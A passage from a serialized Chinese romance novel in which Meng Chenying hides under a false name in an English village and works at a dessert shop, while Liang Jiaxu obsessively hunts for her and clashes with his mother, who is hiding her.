直到所有人离开,室内静到落针可闻,梁嘉序心里头那团火,还在不断乱窜。 他无论睁眼,或是闭眼,孟尘萦的身影好像都在他眼前。 就连四周都是她身上的香味。 能隐约嗅到气味,却触摸不到人,就像被种下了情蛊,他身上的瘾,好似又犯了。 看不到她,心在一寸寸被咬噬,疼又麻。 猫的喵喵叫也不断。 梁嘉序冷冷地瞥过去,才看到猫碗那空空如也。 晚上还没吃,全都缩在猫窝里不敢出来。 梁嘉序从暗处起身,从孟尘萦平时放猫粮的位置,舀了几勺放碗里,他长指点了几下碗沿,三只猫便冒头出来,狼吞虎咽。 他单膝屈地,望着这几只猫。 背影几乎隐匿在暗中,与黑融为一体。 乌沉沉的黑,浓郁到让人心脏喘不过气的黑,在一直压抑着血色的黑。 忽然间,他伸手揉了揉其中一只猫的脑袋。 黑眸深邃,没什么情绪。 声线很淡。 “你们说,这次找到了她,该怎么惩罚比较好?” 第52章 第 52 章 “要我放了她,除非我死…… 孟尘萦在维利斯特住了约莫有两个月, 起先有点不适应,她刚来到这里的头几天没敢主动跟四周的居民交好,是在一个机缘巧合下, 邻居家的狗狗跑到她家后院来捡东西,才主动打破了这种她自我冰封的结界。 邻居住的是一家四口的幸福家庭。 女主人是定居在英国的中国人,中文名叫章之窈, 她的丈夫布莱斯是英国人,夫妻俩在这个小镇里生活许久, 生有一儿一女,抚养一只金毛犬。 维利斯特小镇虽网络不发达, 但这里居住的人, 似乎极其享受这种慢节奏,拥抱自然的生活。 孟尘萦在京市住了几年, 习惯了车水马龙,灯红酒绿的繁华闹市, 刚来到维利斯特还有点不习惯, 有考虑要不要换个地方, 挑个大城市居住。 但经过半个月时间,每天在这个小镇子里乱晃, 她却渐渐有点爱上了这种幽然寂静的氛围。 这日午时阳光正好, 清风吹拂, 孟尘萦在章之窈的邀请下,来到她家的后院,跟他们一家举行烧烤派对。 章之窈也是南方人,两人之所以会亲近起来,也是因为孟尘萦那一口地地道道的南方口音。 “你老家是涟云啊?那地方我听过!” 孟尘萦眼睛铮亮,“真的吗?” 她在京市认识了那些朋友, 每逢有人问起她老家是哪,得到回答后,都说不知道涟云在哪儿。 章之窈骄傲地抬起下颌:“我还去那里玩过呢,我初中的暗恋对象老家就是涟云的,那时候我很喜欢他,暑假有偷偷去涟云看他呢。” “嘘,这事你可别跟布莱斯说,”章之窈谨慎地朝孟尘萦挤眉弄眼笑道:“他醋大着呢!” 孟尘萦克制住偷笑,肩膀微抖:“都初中的事了,布莱斯他还吃醋啊?” “那是啊,你都不知道他这人心眼有多小,要是让他知道我小时候有白月光,他肯定要跟我生一周闷气。” 仗着布莱斯听不懂中文,章之窈畅所欲言。 “不过能在这里认识你真好,虽然国外也有不少中国人能聊中文,但我还是第一次遇到你这样独自一个人来外国这种小镇居住的女孩呢!她们都是选择的大都市。” 章之窈年龄大孟尘萦近十岁,在国外居住也有十年了,中文还是说的极其流利。 她说,跟孟尘萦认识后的两个月,是她这十年里说过最多的中文。 章之窈说在国外认识的中国朋友不太多,尤其这个镇子里,附近也没几个中国人居住。 总算有人可以跟她说家乡话,她也不自觉打开话匣子,开始讲述自己的经历。 章之窈是南方人,大学毕业后为了自己深爱的男人追到英国,她为了男朋友舍弃国内的所有,选择在异国他乡打拼,她跟那个男人同居了将近半年,却还是被他无情抛弃,不仅如此,那男人竟是卷走了她所有的积蓄,最终害得她惨到要流落街头。 在她最迷茫无助的时候,认识了现在的老公。 布莱斯,一个绅士的英国男人。 虽说今年才四十岁,但外国人长相显老,瞧着快五十。 章之窈是这样调侃布莱斯。 从她明媚灿烂的笑容里,孟尘萦逐渐有点感触。 章之窈因为前一段感情受了太多伤害,是布莱斯带她走出了阴霾,虽说两人年龄国籍都不合适,但灵魂却意外契合。 从交往到结婚,只有一个月的时间。 “这么快吗?”孟尘萦惊讶问。 章之窈串着手中的土豆和肉块,抬头笑起来:“爱情就是要冲动啊,结婚尤其要冲动,虽然冲动了点,但我相信我的选择没错。” 不然现在也不会这么幸福。 一儿一女一狗,还有个这么相爱的丈夫。 “我跟他才认识一个月,他就提出跟我结婚,上一任半年了还在问我要钱,谁真正对我好,我还是不傻的。” 见她眉眼间的笑容都很幸福,孟尘萦也很为她感到高兴,“你开心就好啦,最重要的是自己的心情。” 章之窈把串好的那串肉递给不远处的布莱斯,夫妻二人相视一笑。 孟尘萦望着眼前画面,心里忽然觉得暖洋洋的。比今天的阳光还要温暖。 她一直想要平淡安稳的生活。 她其实对感情方面没有什么特殊要求,倘若要结婚的话,不一定要很喜欢对方,对方也不一定要很喜欢她,两人彼此合适就行了。 当初选择周初皓,也是因为合适。 她见过不合适的感情,像她父母。 她的父母当初是两方家庭的撮合下才结的婚,没有半点感情,因为两人性格不合,勉强在一起后,婚后只有没完没了的争吵。 孟尘萦后来听外公外婆说,她爸妈在她刚出生那会就想离婚了,但考虑到她年纪太小,才一直拖到了四岁,能拖到四岁,是日子实在过不下去了,实在忍受不了对方,才选择的离婚。 不合适的感情勉强在一起,最终会落得一个破碎的家庭。 她的存在,就是明显的例子。 而她和梁嘉序同样也不合适。 “夏夏,你喜欢吃辣吗?” 章之窈喊的是孟尘萦在国外新身份的中文名。 徐见夏。 “喜欢呀。” 章之窈惊喜地扭过头,雀跃道:“太棒了!你都不知道,布莱斯和我两个孩子都吃不得辣,每次我弄一些辣的食物都只有我一个人吃,真的很孤独啊,现在有你陪伴我真好。” 孟尘萦笑笑,也把手里串好的素菜递过去。 金毛犬追着爱丽丝和尼克在草地奔跑,孩子们的欢声笑和狗狗的叫声,使这场烧烤派对更加热闹。 在维利斯特也住了有两个月,孟尘萦还一直没有跟父亲还有江阿姨联系。 两人也从不联系她,是担心梁嘉序找来。 就连她跟父亲分开那天,也不是他亲自来送的,她只能坐在车里,远远看着父亲泛红的眼眶,依依不舍的眼神,忍不住心里发酸。 她在国外暂时还不能联系自己认识的人。 还不知道这样躲躲藏藏的日子要持续多久。 或许,要等哪天江阿姨主动告诉她,梁嘉序不再找她了。 她才能真正做回自己的身份。 烤肉香味四溢。 大家伙围在一张桌子旁闲聊,布莱斯在喂小女儿爱丽丝吃肉,吃一口夸奖一句,把爱丽丝吹捧到嘴巴都骄傲到翘了起来。 孟尘萦偏头在跟尼克聊天,尼克才七岁,在章之窈的影响下会说点中文,虽不太流利,但他对中文很感兴趣,他正在跟孟尘萦讨教单词。 就在这时,章之窈忽然惊叫一声,使得几人都看向她。 她举起手中的宣传单,惊喜道:“下周街头那家甜品店三周年活动,将要举办一场大胃王比赛,第一名和第二名都有奖品啊!” 布莱斯很识趣问:“你想要我去参加?” 章之窈抱着她老公的肚子撒娇:“好嘛,去嘛去嘛。” 布莱斯不太喜欢人太多的场合,但捱不住妻子的请求,他宠溺一笑摸她脑袋,“去,但拿到第一名了,晚上的蛋糕不可以再给我扣掉。” 章之窈不满地撅起嘴,“就说你这肚子,不参加大胃王实在是亏了,下周让你吃个够,保准一个月都不想碰甜食了。” 见到这夫妻俩的互动,孟尘萦没忍住笑。 章之窈朝孟尘萦一挑眉:“夏夏,你也去看看吧,你虽然不参加,但也可以去热闹热闹啊,你来这都多久了朋友也没多交几个,咱们这安静的小镇也难得有个如此热闹的活动呢。” 孟尘萦点头,“好啊。” 正好她也想上街去看看,再找找有没有适合她的工作。 虽说她父亲给的钱够她在这里无忧无虑生活几年了,但每天什么事都不用做的生活也属实无趣,她担心日子久了,自己会出问题- 江静娴明天要回英国了。 晚上收拾好行李,她下楼跟父母在客厅闲聊,面对父母的一再念叨,江静娴无奈道:“好了好了,我今年过年会回来看看你们的,再说了,静灵不是也回国陪你们了吗?我要是还不回去,国外那边的公司一直交给赫生我也不太放心,怕他忙不过来直接撂摊子跑了。” 提起江赫生,江父愁到脑门的皱纹又深了些:“明年也让赫生回国,都快四十了还没结婚,像话吗?” 江静灵在旁怂恿道:“就是,就是!都要四十的老光棍!” 江母赏了江静灵一脑壳,气愤道:“你也是,三十二了还没个男朋友,还好意思说你哥哥?” “真不知道咱江家祖坟是不是出了啥问题,三个孩子一把年纪了,感情状况都这么糟糕。” 这种话江静娴听了耳朵都要长茧了,想她都快五十了却还要被父母批评感情的事,真是应了那句话,无论事业多成功,无论年龄多大,在父母面前永远都是孩子。 她笑笑,转移话题:“我东西收拾好了,明天的飞机,你们可别送我。” 这时,玄关那传来动静。 梁嘉序忽然出现在江家,两位老人家登时喜笑颜开。 婚也不催了,话也不念叨了,嘴里阿序阿序得喊,是稀罕得不行。 梁嘉序进屋时脸色冷沉,仿佛凝了一层霜,但在看到姥爷姥姥的那一刻,他还是露出笑容,主动喊了人。 江父问:“阿序也来看你妈妈了?” 梁嘉序点头,视线望向江静娴,“妈,咱谈谈?” 江静娴丢下腿上的抱枕,“去书房谈。” 江静灵不明状况,朝梁嘉序问道:“阿序,小萦呢?我这都回国有一阵子了,还没什么机会约小萦出来玩,改天你把她喊出来,小姨想见见她。” 江静娴脚步一顿。 她还没回头,便听到自己儿子阴恻恻的声线:“我倒是更想见她。” 江静灵一脸困惑,他在说什么啊? 书房门关上的下一秒。 只闻“啪”地一声响。 梁嘉序将手中的资料甩在桌上,力道太大,那叠纸有几张凌乱落地,飘到江静娴脚边。 江静娴皱眉望过去,不悦道:“梁嘉序,你在做什么?” 梁嘉序掀眸:“这两个月,我派人在国外查到的所有消息,每次但凡有一点儿线索,都会很快被清理干净,妈,别告诉我,这不是你做的。” 他目光森冷,紧紧盯着江静娴的眼睛:“你骗不了我。” 他请了最权威的专家调查,所有查到的任何细微行踪,每当有一点点收获,在他觉得很快能找到孟尘萦时。 第二天,他的那些线索会全部都废掉。 有能力做到这种程度,除了江静娴没别人。 她除了把孟尘萦送走,还在暗中阻止他的调查。 梁嘉序眼里的红血丝爆开,声音嘶哑又低沉:“为什么?” “为什么要这样做?” 他也不愿相信,能对他做出这种残忍事的人,是他亲生母亲,但真相摆在面前,他只能失望地面对现实。 江静娴让他这两个月的所有付出都成了笑话,他知道她送走了孟尘萦,可万万没想到竟然还一直在暗中阻挠他的调查。 最清楚他离不开孟尘萦的人,就是他的母亲江静娴。 而他的母亲,却还是狠心做了那个伤害他的刽子手。 他的心已被捅得鲜血淋漓。 那团恨意霎时间在胸腔搅起了惊天骇浪,梁嘉序冷冷地注视她:“我第一次这么喜欢一个女孩,我那么那么地喜欢她,您为什么要这样做?” 江静娴心中一痛,不忍看他这副模样,柔声道:“阿序,你放手吧,好吗?小孟她不喜欢你。” “你勉强把她留在身边,除了增加你们两个人的痛苦之外,不会有任何好结果的。” 梁嘉序神色冷冽:“那又怎样?” “我喜欢她就够了。” “我喜欢她就够了。”他顿了一顿,声音不知觉提高几分,再说到喜欢时,竟是有微微的颤意:“我不需要她喜欢我。我喜欢她,只要她,这就够了。” 歇斯底里般悲痛的声线,像小兽崩溃的低吼。 梁嘉序后退一步,头痛欲裂,他手心用力抵在桌角,指尖摁到生了白,再抬眸看她,眼底泛红,有细微的水光波澜。 是让江静娴内心无比动荡的画面。 江静娴从没想到他会有这样失常的反应,她的儿子,任何时候都运筹帷幄,将所有都掌控在手掌心里才对,那样猖狂恣意才是梁嘉序啊。 梁嘉序从没这样过。 他失控了。 她的儿子,信念几乎崩塌。 江静娴心疼到心中泛苦水,但尽可能的稳定情绪安抚好梁嘉序,“阿序,勉强来的感情你知道会是什么结果。” “你难道想跟小孟像我和你爸爸一样?到最后,折磨到这样相看两厌的程度?” 梁嘉序冷笑着:“爸爸从没厌你,是您厌他。” 江静娴面色一冷:“是,所以,你也想要小孟这样厌恶你?” 梁嘉序稳稳站直身躯,凉凉地勾唇,仿佛方才的失控只是一场幻觉。 “您不用提醒,她多厌恶我,我比谁都清楚,但那又怎样?” 他冷峻的面容更加冰冷:“我只要她。” 江静娴同样是个硬茬,百般劝说也没用,只能道:“你非要这样,妈妈只能帮助小孟,妈妈不想看到你痛苦,也不想小孟痛苦。” 梁嘉序淡笑,语气平静:“您尽管阻挠。” “我会找到她。” 他眼神扫向那桌上的那叠资料,脸上落下一道阴影:“江总神通广大,在国外能只手遮天,您儿子也不是个废物。不信,您自己等着瞧,是您藏的更深,还是我找的更快。” 竟是还打算跟她斗下去,江静娴气极反笑:“阿序,你比你爸还要过分!” 当初的梁承年都做不出他这样令人发指的行为。 梁嘉序轻描淡写看她:“谁叫我是你们俩亲生的呢?” “我不会放过孟尘萦,要我放了她,除非我死。” 第53章 第 53 章 逼疯 维利斯特小镇只有两家甜品店, 一家生意尤其火爆,一家则极为惨淡。 举办大胃王比赛的那家,便是生意最好的店。 布莱斯得知比赛吃的是甜品, 便再没任何犹豫和抗拒。 他太爱吃甜品了。 章之窈嫁给他之后,每日有控制他的甜品摄入量,导致他总觉得自己血液里缺了味甜。 听了这话, 章之窈用中文跟孟尘萦吐槽:“老外的甜品咱中国人是真吃不消,他们觉得甜味刚刚好的, 我就可受不了了,牙都快甜掉了。” 孟尘萦笑着说:“我也不能吃太甜的, 我自己做的甜品也很少那么甜。” 比赛即将开始之前, 这家店外边已经围了不少看客。 参赛选手只有六名。 几乎都是这个小镇子的居民。 街坊邻居都来这凑热闹,四周被围得满满当当, 孟尘萦跟章之窈在选手家属区给布莱斯加油助威,爱丽丝和尼克则拿出准备好的应援道具。 就在裁判吹了口哨后—— 比赛正式开始。 爱丽丝和尼克激动雀跃, 蹦着疯狂喊加油, 孟尘萦也被孩子的热情所感染, 极其投入在其中。 几名参赛选手的朋友和家人都在为对方加油打气。 布莱斯不是选手里体积最大的,但他吃东西的速度快又稳, 其余选手要么一次性塞太多, 导致无法吞咽下去, 要么就是吃吐了,选择弃权。 比赛进行了约莫二十分钟,最后只剩下布莱斯和一个男性华人。 舞台上选手减少后,孟尘萦才开始细细打量另一位参赛选手。 实则在这个小镇子里,中国人不算很多的。 眼前这个男性华人,她来到维利斯特都两个月了还未曾见过, 再多看两眼,忽然间觉得侧脸有点眼熟,但又想不起来在哪里见过。 转而,她又猜想,大抵是对方生了一张面善的中国人面孔,让她有点老乡见老乡两眼泪汪汪的亲切感吧。 就在她出神时—— 裁判口哨吹响。 四周欢呼声不绝于耳,边上有看客激动到胡乱推搡,孟尘萦一下被人挤开,脱离了布莱斯那边的家属区。 她费劲挤开挡住她的人群,朝舞台望过去。 布莱斯输了,是第二名。 第一名是她刚才觉得眼熟的男性华人。 裁判举着那男人的手向大家宣布冠军。 男人动作不急不慢从裤兜里掏出手帕,优雅地擦拭唇边的奶油。 随后弯唇轻笑,笑容像冬日暖阳般,惹人眼。 孟尘萦废了点劲儿才挤到章之窈身旁,布莱斯吃垮了,还靠在妻子的怀里喘气。 爱丽丝和尼克扑到爸爸的怀里,高声呼唤。 “爸爸太棒了,是第二名!” “爸爸是最厉害的!” 布莱斯伸手跟孩子击掌,笑得直咳,章之窈无奈摇头,“嘴里蛋糕还没完全咽下去啊,当心呛死你。” “开心啊,第二名我也是孩子心里的好爸爸。” 一家人都很满意这个结果。 孟尘萦笑容满面,给布莱斯送上祝贺。 虽然没有拿到第一名,但布莱斯面对挑战没有退缩,勇敢战到最后一刻的精神,他的孩子也感受到了,他给孩子树起了一个很好的榜样。 这一家子真的很幸福。 此时舞台上正在揭晓第一名的奖品。 奖品除了1000英镑之外,还能获得本店三个月吃到爽的免费券。 台上男人正要伸手接下奖品时,只见人群中响起骚动,有个员工冲出来揭晓:“他是那家倒霉甜品店的老板!他肯定是来偷学我们店里商业机密的!!” 裁判浓眉飞扬,啪地一下揭开男人头上的帽子,再摘下他的黑框眼镜。 男人的面容出现在光亮下,是俊朗的中国人长相,裁判睁大眼睛,吃惊一喊:“Oh no,Eden Chen!” 男人嘿嘿一笑,歪着头,朝裁判伸手:“第一名是我,该不会要取消我的冠军资格?” 那裁判看样子是甜品店的老板,很不爽被对手摆了一道,但话已经放下总不能当没发生,只能不情不愿把免费券给了男人。 男人勾唇,扬着手中的免费券,挑衅似的说:“谢啦,不过你们家蛋糕的确挺好吃。” 老板得意地捧腹大笑,随后,他又压低声音补了一句:“就是太容易腻了点儿,我不太喜欢。” 说完这句,男人便拔腿溜了。 生怕再多留一刻,要被老板打死。 一场热闹结束,章之窈他们要回去了,问孟尘萦要不要一道走。 她摇头说:“我再去逛逛,你们先回吧。” 目送那一家人离开,孟尘萦主动找到了这家店,询问店员招不招甜品师。 那店员很快摇头,“抱歉,目前不缺员工。” 孟尘萦道了声好,走了。 她沿着这条街一路观察,据她所了解的消息,这个镇子上只有两家甜品店,剩下的那一家,因为新开业不久,生意不是太好。 孟尘萦不知觉走到了那家生意惨淡的甜品店前。 她站在门口犹豫了会儿,还是推开店门。 进入店内,里边的装修让她眼前一亮。 这装修风格跟中国的很像,但不像中国的甜品店,比较像茶馆一类的地方,如果不是店名挂在那,很难想象这竟是一家甜品店。 她推开门后,门口挂着的风铃便自动响了。 站在工作台后的男人转过身子,笑容满面道:“欢迎光临,请问需要点儿什么?” 孟尘萦呆呆地望着他:“是你啊。” 刚才大胃王比赛拿第一名的中国男人。 见孟尘萦脱口而出的中文,男人也改为中文交流:“中国人啊,真巧,在这个小镇里中国人不算很多的。” 话音刚落,他看向孟尘萦的眼神微带疑惑:“我是不是在哪儿见过你?” 孟尘萦也歪着头细细看向对方。 此时他没有刚才在台上的装扮,男人的面容分毫不差出现在她的视线中,虽然店内光线不算明亮,但他的五官很好看,是标准的大帅哥长相。 这么帅的人,她也越看越觉得眼熟,但实在想不起来在哪儿见过。 怎么都想不起来。 就在她还绞尽脑汁在记忆里搜刮时,眼前的男人已经激动到一拍桌案,惊喜道:“你就是姑父的女儿?” 孟尘萦张了张唇,愣住。 男人从工作台后走出来,请她去窗边落坐,再自我介绍:“我叫陈寰柏,我口中的姑父就是你的父亲。” 孟尘萦吃惊道:“那……陈阿姨就是你的亲姑姑?” 陈寰柏点头:“我来维利斯特居住有半年了,上周姑姑知道我在这儿,就拜托我找到你,要我见到你了多少照顾照顾你,说你在这儿无依无靠,我也没几个熟人,两个中国人在异国小镇可以互相关照彼此。” 他挠了挠脸颊,尴尬地一笑:“然后,我就忘了这事儿……本来打算大胃王比赛后再找你,没想到你倒是主动找上来了。” 孟尘萦恍然大悟,“原来是这样啊。” 陈寰柏身子忽然前倾,脖子一伸,眼睛几乎都要钉到她脸上了:“孟小姐,我是不是在国内见过你?” “见过吗?”孟尘萦也觉得他眼熟,但死活都记不起来什么时候有见过他。 陈寰柏托着下巴,细细端详孟尘萦的长相,想了约莫两分钟后,再次一惊一乍地拍桌:“是你,我想起来了,你当初答应说要做我的甜品师!” 孟尘萦一脸茫然。 陈寰柏问她:“你还记得那天,你带了几份自己亲手制作的甜品去的派对吗?” 经过提示,孟尘萦总算想起来了,眼前这个男人就是虞南星当时要介绍给她的公子哥。 不过陈寰柏很喜欢她做的甜品,说要她做他的甜品师。 他俩当时还互相交换了联系方式。 但后来…… 陈寰柏双手一摊,耸肩道:“你回去就把我删除了是不是?” 孟尘萦尴尬地笑了笑:“抱歉啊……” 那是梁嘉序强行让她删除的。 陈寰柏也没跟她计较这件事,“你来我店里是要吃蛋糕吗?但很抱歉,我店里的甜品师昨天才辞职没做了……” 他笑得没心没肺:“可惜我也就只知道吃,不会做甜品。” 孟尘萦摇头:“不,我是来看看这里需不需要招人的。” 陈寰柏搭在桌上的手指一顿,抬眸看她:“孟小姐觉得呢?” 孟尘萦扫了这家空无一个顾客的店,诚实道:“我想,应该需要的。”- 秋意渐浓,凉意也来袭,璟兰园后院葱郁的树木落叶凋零,屋内,同样安静凄凉得很。 这儿处处都是孟尘萦生存在此的痕迹,她的气味,她的衣服,她的所有,还有她的猫。 回到卧室,扑面而来的画面。 梁嘉序垂眸,修长的手指,一点点划过手中的照片。 他能抚摸她的脸颊,能看到她的笑容。 却触摸不到她的体温。 照片里的女孩坐在旋转木马上,微风吹起她轻盈的马尾,裙摆曳过雪白的小腿。 笑容娇甜。 三个月了。 不,应该说有整整一百天。 这一百天里,梁嘉序似要被无尽的黑意吞噬。 他开始生起了幻觉。 好像又看到了她,又抚摸着她,亲吻着她,这次,她并非总是用恨意的眼神愤怒瞪他。 而是无比乖顺地伏他怀里,述说着对他的思念,埋怨他这次怎么找她找的这样慢。 一百天了他还没找到她。 她说她很生气。 医生有来看过,开了点药,吃过后有稳定过几天,但他主动停了药,比起清醒,他反而更想要陷入在这样痴迷的幻觉当中。 他渐渐有点迷上这种活在虚幻里的感觉。 手中的照片从手中垂落,掉在毛毯上。 梁嘉序弯腰,低头忽然看到一只猫从床底钻了出来。 他捡起照片,又提起那猫的后脖颈。 脸色忽然变得冷沉。 眼里的黑一点点缓慢逼近。 他要是被逼疯了,还怎么找她? 她这么不听话,这次抓到她。 他会把她永远锁在他们的床上,再也不让她见任何人。 他不会再对她心软- 英国小镇的冬天,可真冷啊,冷得骨头缝都在发抖,空气里好像都生了冰碴子似的。 沈晚心冒着濛濛细雨,推开面前的玻璃门。 门口挂着的风铃发出泠泠声响,孟尘萦抬眸望去,嘴里的欢迎光临尚未说出口,笑容便转为惊讶:“都下雨了你怎么不打伞过来啊?” 进来的人并非是甜品店的顾客,而是陈寰柏半年前招的员工,沈晚心。 今天并非她的工作日。 沈晚心有四分之一的英国血统,小时候在英国居住过十年,后又回到中国长大,在二十五岁左右又回了英国。 她是半年前来到维利斯特小镇的,因为中国人想在外国的小地方找份工作很是艰难,是孟尘萦意外结识了沈晚心,才把她介绍给陈寰柏。 这一年里,甜品店因为有孟尘萦的加入生意逐渐转好,这店算是她和陈寰柏两个人靠着毅力支撑下来的。 生意好了后,自然是要招员工了。 沈晚心各方面条件也符合要求,她又实在欠缺一份工作,中国人在国外总是要互相帮助,即使她没有半点工作经验,陈寰柏还是收留了她。 沈晚心皱着眉拂掉衣服上的水珠,边吐槽说:“哪知道半路突然下雨了,不过还好是小雨。” “我刚一路走过来,也不止我没打伞啊,好多人都没打伞。” 孟尘萦笑笑不语,给她泡了一盅热茶。 下雨天,晚上店里也没几个人,还有一个小时就到打烊的点儿了。 “你怎么忽然来了?” 沈晚心捧着茶杯暖手,低头嘬了一口:“来找你啊,一会就打烊了吧,咱去清吧喝酒?” 镇上最近新开了一家清吧,听说装修格调很高级,沈晚心老早就想去光顾了,但一直没人陪伴,她在这儿就认识徐见夏一个朋友。 孟尘萦想了想,点头,“好啊。” 她也好久没出去活动活动了。 沈晚心开心地打了个响指:“我等你下班,就一个小时了反正也不会来客人的,要不现在就收拾吧,话说陈老板是不是一周没来了?” 陈寰柏不是经常来甜品店,自从把店子交给孟尘萦之后,就更懒惰了。 沈晚心对此很不满,吐槽道:“你真得让陈老板给你点股份,这可是他的店,他自己做甩手掌柜,让你又是当烘焙师,又是当老板的。” 孟尘萦洗了手过来坐:“这事他上个月还真提过。” “真的啊?你怎么回答的。” 孟尘萦摇头说:“我没接受。” “啊?为什么?” 孟尘萦坦言道:“我比较想要开一家属于我自己的店,然后……我以后还是想回国住的。” 她没打算一直生活在国外,尽管这个镇子很安逸,让人可以忘记烦恼。 但她还是更想念自己的祖国,想念在国内的朋友。 沈晚心拍了拍她肩膀,感叹道:“跟我一样,我也想回国,但什么时候能回去还不清楚。” 沈晚心来英国只有一个目的,是找自己那离家出走的爸爸。 她的父亲是一名画家,十年前说是追梦,便抛下了妻儿出国,从此便失踪到不见人影。 沈晚心说她对她爸爸已经没什么感情了,但妈妈还一直在等爸爸回家,所以她来英国只有一个目的,就是找到爸爸,给她妈妈一个交代。 让她妈妈这么多年来的想念,能有个结果。 无论是生是死,总得要知道点儿消息吧。 沈晚心找爸爸的事,孟尘萦也知道,陈寰柏也有靠家里的关系帮忙找,但她爸爸来英国十年了,要是真混出了什么名堂不至于没半点消息,只有一个可能,她爸爸跟许多追梦人一样,梦想破灭,因为没脸回家,则一直在国外混日子。 要找一个十年前的流浪汉,并不算很容易。 目前沈晚心来英国半年了也没什么收获,就因为身上的钱都用完了,才只能找个工作先生存下来。 两人聊着天,盘算着收工的时间。 还剩十分钟就要关门时,门口的风铃忽然响了。 来了新顾客。 沈晚心暗暗咬牙,骂了声早不来晚不来,偏偏要收工了进来。 孟尘萦站起身,循着方向望去,正要询问对方要吃点儿什么时—— 店内昏黄的光,忽地闪了一瞬。 男人的面容在微闪的灯光下,半明半昧。 长相是看不清的,但依稀可见其卓越的五官,身高挺拔,穿着一身黑色大衣。 腿很长,肩也很宽。 这瞬间,孟尘萦控制不住心跳漏了一拍。 她下意识以为是看到了梁嘉序,吓到整个人僵住。 直到男人走到她面前,脱口而出了英文,她才回过神。 这是一个外国男人。 但身高和梁嘉序一样,且鼻梁挺拔,因刚才光线错乱的缘故,她都没看清楚长相。 竟是认成了梁嘉序。 大抵是分开一年半了,她有这么久没看见他,的确有点恍惚。 看到身形相似,穿黑色的男人,竟是跳出了梁嘉序这个名字。 孟尘萦真觉得自己该出去吹冷风清醒一下。 男人开口,点了那份很诱人的慕斯蛋糕,“我能在这儿吃完吗?” 孟尘萦微笑说当然可以。 他笑容灿烂,端过那份慕斯蛋糕,自个儿找个位置品尝,吃蛋糕的样子,就像孩子似的雀跃。 沈晚心没忍住跟孟尘萦小声嘀咕:“看来你总算研究出外国人的口味了,这个小哥我记得来过咱们店好几次,超级喜欢吃你做的慕斯。” 孟尘萦也很开心,眉眼间荡开笑意。 最后一个顾客走了,店子打烊。 沈晚心特地帮孟尘萦一起收尾,出来的时候,雨已经停了。 但空气中的寒意还是跟刀子似的割人。 沈晚心搓了搓手心,“真冷啊,一会儿多可要多喝点酒。” 孟尘萦锁好了门,转弯,挽着沈晚心取暖,鼻尖都被寒风吹红了:“我陪你喝,但我酒量不是很好,你可别嫌我扫兴啊。” “怎么会啊,有你陪我就知足了。” 两人往左转,只要穿过一条小巷子就可以达到那家清吧。 这巷子晚上极其阴森恐怖,还好今晚有沈晚心作陪,孟尘萦就没那么害怕了。 她从没说过自己害怕这条夜路,但潜意识的动作还是暴露了她的心思。 沈晚心笑话她,眉眼一弯,调笑:“夏夏,你再抱紧一点儿,真软啊,果然还是大美人香,比那些臭男人身体舒服多了,哎呀你抱得我胳膊那都酥了。” 沈晚心从小在国外住过很多年,不仅胆子大,说话风格也很露骨,她总说这种话,调侃她哪里哪里,弄得孟尘萦脸红得不行。 “你怎么这样啊,我就是怕冷,你刚还说不嫌弃我的。” “不嫌弃,不嫌弃,有夏夏这么美身体又软的大美人抱我,我开心还来不及哈哈哈。” 孟尘萦不语,轻哼一声。 沈晚心瞥她一眼,琢磨道:“你说你都是吃什么长大的,怎么皮肤那么滑,胸那么软呢……” 看到孟尘萦睁着水眸气咻咻瞪她,沈晚心连忙闭嘴:“得,我不说了。” “你看前面谁来了?” 孟尘萦望过去,小巷前方缓缓走来一道人影。 随着走近,她看清男人的面容。 是陈寰柏。 陈寰柏穿着一件藏蓝色的呢大衣,手里拿着两把伞,走到二人跟前驻足:“我还说来给你送伞,没想到刚才雨就停了。” 孟尘萦笑着说,来得不巧。 沈晚心哟呵一声:“老板人真好啊,还知道我今晚也过来,特地准备了两把伞?” 陈寰柏啊了一声,无辜道:“不是啊,另一把是我的。” 沈晚心不爽地撇嘴:“啧,见色忘义。” 陈寰柏摸了摸头发,又补一句:“早知道你也来,我就多准备一把了,不过都没用,雨也停了。” 沈晚心:“看在你晚上来送伞的份上,破例带你加入我们女生的局,咱们一起去喝酒。” 陈寰柏惊讶地问孟尘萦:“夏夏,你也喝?” 关于孟尘萦隐藏身份,编造了假名字,要躲藏在这种小地方的原因,陈寰柏虽然不清楚,但也很尊重她。 孟尘萦告诉了他这个名字后,他也直接把她当徐见夏了。 孟尘萦吸了吸鼻子,点头:“对啊,我不能去吗?你这什么奇怪的表情。” “没没没,我可没那意思啊,我就问一嘴,要不你们也带上我呗。” 沈晚心扑过去勾出陈寰柏的脖子,嘿嘿一笑,奸计得逞:“陈老板,那你必须请客。” “请请请,我请。” 孟尘萦笑着看二人闹腾,有他们这么活跃,这条巷子也显得没那么可怕了。 阴霾也一点点褪去。 面前两人还在逗着玩,她正想催着赶紧走人。 忽然间,感觉身后有一道人影在盯着她,她敏锐回头,却发现身后什么都没有。 大概是她多疑了。 没多想,很快上去拽住二人,拉着往前走。 一路说说笑笑。 若是孟华淳见到了她,定会感叹,她在维利斯特小镇呆的这一年半的时间,倒愈发的活泼了- 乌云层层叠叠,滂沱的雨势噼啪作响,树叶在风雨中狂舞。 王管家伫立于窗边,目含几缕忧愁望着淅淅沥沥的雨水无情拍打窗前玻璃,等听到楼上传来脚步声,他转身,见是梁承年,便示意佣人准备上菜。 梁承年行至客厅,悠然自得地拾起桌上的鱼食,洒进鱼缸。 “阿序还没回国?” 王管家道:“听说前几天去了奥地利,要是找着人了应该不会也那么快回,没找着的话……” 大抵就是这两日要回了。 梁承年勾唇轻笑:“你说他到底哪来的毅力?都一年半了,竟还在找。” 这一年半里,梁嘉序每逢得到一点儿孟尘萦的行踪,无论他在何地,在处理什么事务,都能立刻把身边的事放下去,为了寻找她,前往那个国家。 但每每都会失望而归。 不是派出去的线人说来消息的人是认错了人,就是刚到了那,消息就断开了。 这些事当然是少不了江静娴的手笔,这一年半内,母子俩在暗地里斗来斗去,谁也不让谁,江静娴做到这个地步,是摆明了不让梁嘉序找着人。 王管家也有点感慨:“我也挺惊讶,阿序这孩子也算我看着长大,他什么模样我都见过,但还是第一次看到他为了一个姑娘做到这个地步。” 寻常人都根本做不到这种程度,更别提像梁嘉序这样的天之骄子,他竟是为了一个费尽心思逃离他的女孩,耗尽时间和精力,全世界各地到处找。 鱼缸里的鱼儿张着嘴在拼命抢吃的。 荡漾的水面映出梁承年温润儒雅的眉眼,他淡笑说:“随他去吧,总归是自己铸下的错事,他要不那样偏激的做法,小孟也不会惧怕他如洪水猛兽,该他受着。” 两人正闲聊,听到玄关那传来了动静,王管家瞥过去看:“阿序回了。” 